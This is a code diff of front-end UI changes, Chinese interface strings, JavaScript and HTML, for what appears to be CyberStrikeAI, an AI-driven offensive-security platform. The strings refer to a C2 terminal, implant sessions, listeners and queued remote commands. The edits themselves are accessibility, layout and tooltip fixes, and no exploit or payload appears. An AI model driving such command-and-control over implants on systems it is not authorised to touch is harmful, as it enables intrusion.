"loading": "加载中…", "loading": "加载中…",
"timeout": "加载文件超时", "timeout": "加载文件超时",
"emptyDir": "空目录", "emptyDir": "空目录",
@@ -2541,6 +2553,7 @@
"colActions": "操作", "colActions": "操作",
"open": "打开", "open": "打开",
"download": "下载", "download": "下载",
"downloadOk": "下载成功",
"failed": "失败" "failed": "失败"
}, },
"listeners": { "listeners": {
@@ -2657,7 +2670,7 @@
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)", "confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
"toastExitSent": "退出指令已发送", "toastExitSent": "退出指令已发送",
"toastSessionDeleted": "会话记录已删除", "toastSessionDeleted": "会话记录已删除",
"terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制", "terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行;↑↓ 历史;Ctrl+L 清屏;Ctrl+C 取消输入",
"termStatusReady": "就绪", "termStatusReady": "就绪",
"termStatusExec": "执行中…", "termStatusExec": "执行中…",
"termStatusErr": "错误", "termStatusErr": "错误",
@@ -2666,6 +2679,9 @@
"termWaitTimeout": "[等待结果超时]", "termWaitTimeout": "[等待结果超时]",
"termCleared": "终端已清屏", "termCleared": "终端已清屏",
"termNoSelection": "未选中文本", "termNoSelection": "未选中文本",
"termWaitFinish": "请等待当前命令执行完成",
"termCtrlC": "当前版本暂不支持中断远程命令",
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
"clearTerminal": "清屏" "clearTerminal": "清屏"
}, },
"tasks": { "tasks": {
@@ -2692,6 +2708,7 @@
"colTask": "任务", "colTask": "任务",
"colSession": "会话", "colSession": "会话",
"colType": "类型", "colType": "类型",
"colCommand": "命令",
"colStatus": "状态", "colStatus": "状态",
"colDuration": "耗时", "colDuration": "耗时",
"colCreated": "创建时间", "colCreated": "创建时间",
@@ -2702,6 +2719,8 @@
"labelId": "ID", "labelId": "ID",
"labelSession": "会话", "labelSession": "会话",
"labelType": "类型", "labelType": "类型",
"labelCommand": "命令",
"labelPayload": "参数",
"labelStatus": "状态", "labelStatus": "状态",
"labelCreated": "创建时间", "labelCreated": "创建时间",
"labelSent": "发送时间", "labelSent": "发送时间",
+1063 -126
View File
File diff suppressed because it is too large Load Diff
+27 -1
View File
@@ -423,10 +423,28 @@ if (typeof window !== 'undefined') {
window.updateHitlStatusUI = updateHitlStatusUI; window.updateHitlStatusUI = updateHitlStatusUI;
} }
function syncHitlSidebarAriaExpanded() {
var card = document.getElementById('hitl-sidebar-card');
var toggle = document.getElementById('hitl-sidebar-toggle');
if (!card || !toggle) return;
toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
}
function closeHitlSidebarCard() {
var card = document.getElementById('hitl-sidebar-card');
if (!card || card.classList.contains('hitl-sidebar-collapsed')) return;
card.classList.add('hitl-sidebar-collapsed');
syncHitlSidebarAriaExpanded();
try {
localStorage.setItem('hitl-sidebar-collapsed', '1');
} catch (e) {}
}
function toggleHitlSidebarCard() { function toggleHitlSidebarCard() {
var card = document.getElementById('hitl-sidebar-card'); var card = document.getElementById('hitl-sidebar-card');
if (!card) return; if (!card) return;
card.classList.toggle('hitl-sidebar-collapsed'); card.classList.toggle('hitl-sidebar-collapsed');
syncHitlSidebarAriaExpanded();
try { try {
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0'); localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
} catch (e) {} } catch (e) {}
@@ -438,6 +456,7 @@ document.addEventListener('DOMContentLoaded', function () {
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') { if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
card.classList.remove('hitl-sidebar-collapsed'); card.classList.remove('hitl-sidebar-collapsed');
} }
syncHitlSidebarAriaExpanded();
}); });
function getAgentModeLabelForValue(mode) { function getAgentModeLabelForValue(mode) {
@@ -7394,7 +7413,7 @@ document.addEventListener('languagechange', function () {
refreshHitlConfigByCurrentConversation(); refreshHitlConfigByCurrentConversation();
}); });
// 点击外部关闭图标选择器、对话模式面板 // 点击外部关闭图标选择器、对话模式面板、侧栏折叠卡片
document.addEventListener('click', function(event) { document.addEventListener('click', function(event) {
const picker = document.getElementById('group-icon-picker'); const picker = document.getElementById('group-icon-picker');
const iconBtn = document.getElementById('create-group-icon-btn'); const iconBtn = document.getElementById('create-group-icon-btn');
@@ -7420,6 +7439,13 @@ document.addEventListener('click', function(event) {
closeChatReasoningPanel(); closeChatReasoningPanel();
} }
} }
const hitlCard = document.getElementById('hitl-sidebar-card');
if (hitlCard && !hitlCard.classList.contains('hitl-sidebar-collapsed')) {
if (!hitlCard.contains(event.target)) {
closeHitlSidebarCard();
}
}
}); });
// 创建分组 // 创建分组
+1 -1
View File
@@ -2055,7 +2055,7 @@ function showToastNotification(message, type = 'info') {
position: fixed; position: fixed;
top: 20px; top: 20px;
right: 20px; right: 20px;
z-index: 10000; z-index: 10100;
display: flex; display: flex;
flex-direction: column; flex-direction: column;
gap: 12px; gap: 12px;
+7 -2
View File
@@ -3637,10 +3637,15 @@ function buildMcpTimelineSvg(points, rangeKey) {
const tickIdx = points.length <= 2 const tickIdx = points.length <= 2
? points.map((_, i) => i) ? points.map((_, i) => i)
: [0, Math.floor((points.length - 1) / 2), points.length - 1]; : [0, Math.floor((points.length - 1) / 2), points.length - 1];
const xLabels = tickIdx.map((idx) => { const xLabels = tickIdx.map((idx, ti) => {
const c = coords[idx]; const c = coords[idx];
const label = formatMcpTimelineLabel(c.p.t, rangeKey, locale); const label = formatMcpTimelineLabel(c.p.t, rangeKey, locale);
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="middle">${escapeHtml(label)}</text>`; let anchor = 'middle';
if (tickIdx.length > 1) {
if (ti === 0) anchor = 'start';
else if (ti === tickIdx.length - 1) anchor = 'end';
}
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="${anchor}">${escapeHtml(label)}</text>`;
}).join(''); }).join('');
const dots = coords.map((c) => { const dots = coords.map((c) => {
+2 -2
View File
@@ -575,8 +575,8 @@ async function loadProjectFacts() {
? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>` ? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
: ''; : '';
return `<tr> return `<tr>
<td><code>${keyEsc}</code>${vulnLink}</td> <td class="cell-fact-key"><code class="projects-fact-key-chip" title="${keyEsc}">${keyEsc}</code>${vulnLink}</td>
<td>${formatCategoryBadge(f.category)}</td> <td class="cell-fact-category">${formatCategoryBadge(f.category)}</td>
<td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td> <td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
<td>${formatFactBodyBadge(f)}</td> <td>${formatFactBodyBadge(f)}</td>
<td>${formatConfidenceBadge(f.confidence)}</td> <td>${formatConfidenceBadge(f.confidence)}</td>
+1 -19
View File
@@ -105,6 +105,7 @@ function updateNavState(pageId) {
// 移除所有活动状态 // 移除所有活动状态
document.querySelectorAll('.nav-item').forEach(item => { document.querySelectorAll('.nav-item').forEach(item => {
item.classList.remove('active'); item.classList.remove('active');
item.classList.remove('expanded');
}); });
document.querySelectorAll('.nav-submenu-item').forEach(item => { document.querySelectorAll('.nav-submenu-item').forEach(item => {
@@ -202,16 +203,6 @@ function getNavSubmenuItems(navItem) {
return Array.from(submenu.querySelectorAll('.nav-submenu-item')); return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
} }
/** 仅一个子页时直接进入,避免展开后菜单在侧栏底部不可见 */
function navigateSingleSubmenuPage(navItem) {
const items = getNavSubmenuItems(navItem);
if (items.length !== 1) return false;
const pageId = items[0].getAttribute('data-page');
if (!pageId) return false;
switchPage(pageId);
return true;
}
// 切换子菜单 // 切换子菜单
function toggleSubmenu(menuId) { function toggleSubmenu(menuId) {
const sidebar = document.getElementById('main-sidebar'); const sidebar = document.getElementById('main-sidebar');
@@ -228,11 +219,6 @@ function toggleSubmenu(menuId) {
return; return;
} }
// 展开侧栏且仅一个子项(角色、Agents 等):单击直接进入,无需再点二级菜单
if (navigateSingleSubmenuPage(navItem)) {
return;
}
// 展开状态下切换子菜单,并滚入视口以便看到子项 // 展开状态下切换子菜单,并滚入视口以便看到子项
const willExpand = !navItem.classList.contains('expanded'); const willExpand = !navItem.classList.contains('expanded');
navItem.classList.toggle('expanded'); navItem.classList.toggle('expanded');
@@ -261,10 +247,6 @@ function showSubmenuPopup(navItem, menuId) {
} }
} }
if (navigateSingleSubmenuPage(navItem)) {
return;
}
const navItemContent = navItem.querySelector('.nav-item-content'); const navItemContent = navItem.querySelector('.nav-item-content');
const submenu = navItem.querySelector('.nav-submenu'); const submenu = navItem.querySelector('.nav-submenu');
+16 -5
View File
@@ -468,6 +468,11 @@ function showAddSkillModal() {
modal.style.display = 'flex'; modal.style.display = 'flex';
} }
function skillPackagePathDepth(path) {
if (!path) return 0;
return (String(path).replace(/\/$/, '').match(/\//g) || []).length;
}
function renderSkillPackageTree() { function renderSkillPackageTree() {
const el = document.getElementById('skill-package-tree'); const el = document.getElementById('skill-package-tree');
if (!el) return; if (!el) return;
@@ -479,13 +484,19 @@ function renderSkillPackageTree() {
} }
el.innerHTML = rows.map(f => { el.innerHTML = rows.map(f => {
const path = f.path || ''; const path = f.path || '';
const indent = 8 + skillPackagePathDepth(path) * 14;
if (f.is_dir) { if (f.is_dir) {
return `<div style="padding:4px 6px;opacity:0.85;font-weight:600;">${escapeHtml(path)}/</div>`; const dirLabel = path.endsWith('/') ? path : path + '/';
return `<div class="skill-tree-row skill-tree-dir" style="padding-left:${indent}px" title="${escapeHtml(_t('skillModal.folderHint'))}">` +
`<span class="skill-tree-icon" aria-hidden="true">📁</span>` +
`<span class="skill-tree-label">${escapeHtml(dirLabel)}</span>` +
`</div>`;
} }
const sel = path === skillActivePath const selected = path === skillActivePath ? ' is-selected' : '';
? 'font-weight:600;background:rgba(99,102,241,0.12);' return `<div class="skill-tree-row skill-tree-file${selected}" style="padding-left:${indent}px" data-skill-tree-path="${escapeHtml(path)}" title="${escapeHtml(_t('skillModal.clickToEdit'))}">` +
: ''; `<span class="skill-tree-icon" aria-hidden="true">📄</span>` +
return `<div style="padding:4px 6px;cursor:pointer;border-radius:4px;margin-bottom:2px;${sel}" data-skill-tree-path="${escapeHtml(path)}" class="skill-tree-item">${escapeHtml(path)}</div>`; `<span class="skill-tree-label">${escapeHtml(path)}</span>` +
`</div>`;
}).join(''); }).join('');
el.querySelectorAll('[data-skill-tree-path]').forEach(node => { el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
node.addEventListener('click', () => { node.addEventListener('click', () => {
+18 -7
View File
@@ -831,6 +831,11 @@
<span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span> <span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
</div> </div>
</div> </div>
<span class="sidebar-card-chevron conversation-reasoning-chevron" aria-hidden="true">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</span>
</button> </button>
<div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region"> <div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
<p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p> <p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p>
@@ -859,7 +864,7 @@
</div> </div>
</div> </div>
<div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card"> <div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
<div class="hitl-sidebar-card-header" onclick="toggleHitlSidebarCard()"> <div class="hitl-sidebar-card-header" id="hitl-sidebar-toggle" role="button" tabindex="0" aria-expanded="false" aria-controls="hitl-sidebar-body" onclick="toggleHitlSidebarCard()" onkeydown="if (event.key === 'Enter' || event.key === ' ') { event.preventDefault(); toggleHitlSidebarCard(); }">
<div class="hitl-sidebar-heading"> <div class="hitl-sidebar-heading">
<span class="hitl-sidebar-icon" aria-hidden="true"> <span class="hitl-sidebar-icon" aria-hidden="true">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
@@ -872,11 +877,11 @@
<span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span> <span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
</div> </div>
</div> </div>
<div class="hitl-sidebar-header-actions"> <span class="sidebar-card-chevron hitl-sidebar-chevron" aria-hidden="true">
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="event.stopPropagation(); window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()"> <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<span data-i18n="chat.hitlApply">应用</span> <path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</button> </svg>
</div> </span>
</div> </div>
<div class="hitl-sidebar-body" id="hitl-sidebar-body"> <div class="hitl-sidebar-body" id="hitl-sidebar-body">
<div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div> <div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
@@ -894,6 +899,11 @@
<textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea> <textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
<p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p> <p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p>
</div> </div>
<div class="hitl-config-actions">
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
<span data-i18n="chat.hitlApply">应用</span>
</button>
</div>
</div> </div>
</div> </div>
</div> </div>
@@ -3545,8 +3555,9 @@
</div> </div>
<div class="form-group" id="skill-package-editor" style="display: none;"> <div class="form-group" id="skill-package-editor" style="display: none;">
<label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label> <label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label>
<small class="skill-package-tree-hint" data-i18n="skillModal.packageFilesHint">点击文件进行编辑;文件夹仅作分组展示,不可点击</small>
<div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;"> <div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
<div id="skill-package-tree" style="flex: 0 0 240px; max-height: 440px; overflow: auto; border: 1px solid rgba(127,127,127,0.25); border-radius: 6px; padding: 8px; font-size: 13px; line-height: 1.4;"></div> <div id="skill-package-tree"></div>
<div style="flex: 1; min-width: 0;"> <div style="flex: 1; min-width: 0;">
<div style="margin-bottom: 8px; font-size: 13px;"> <div style="margin-bottom: 8px; font-size: 13px;">
<span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code> <span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>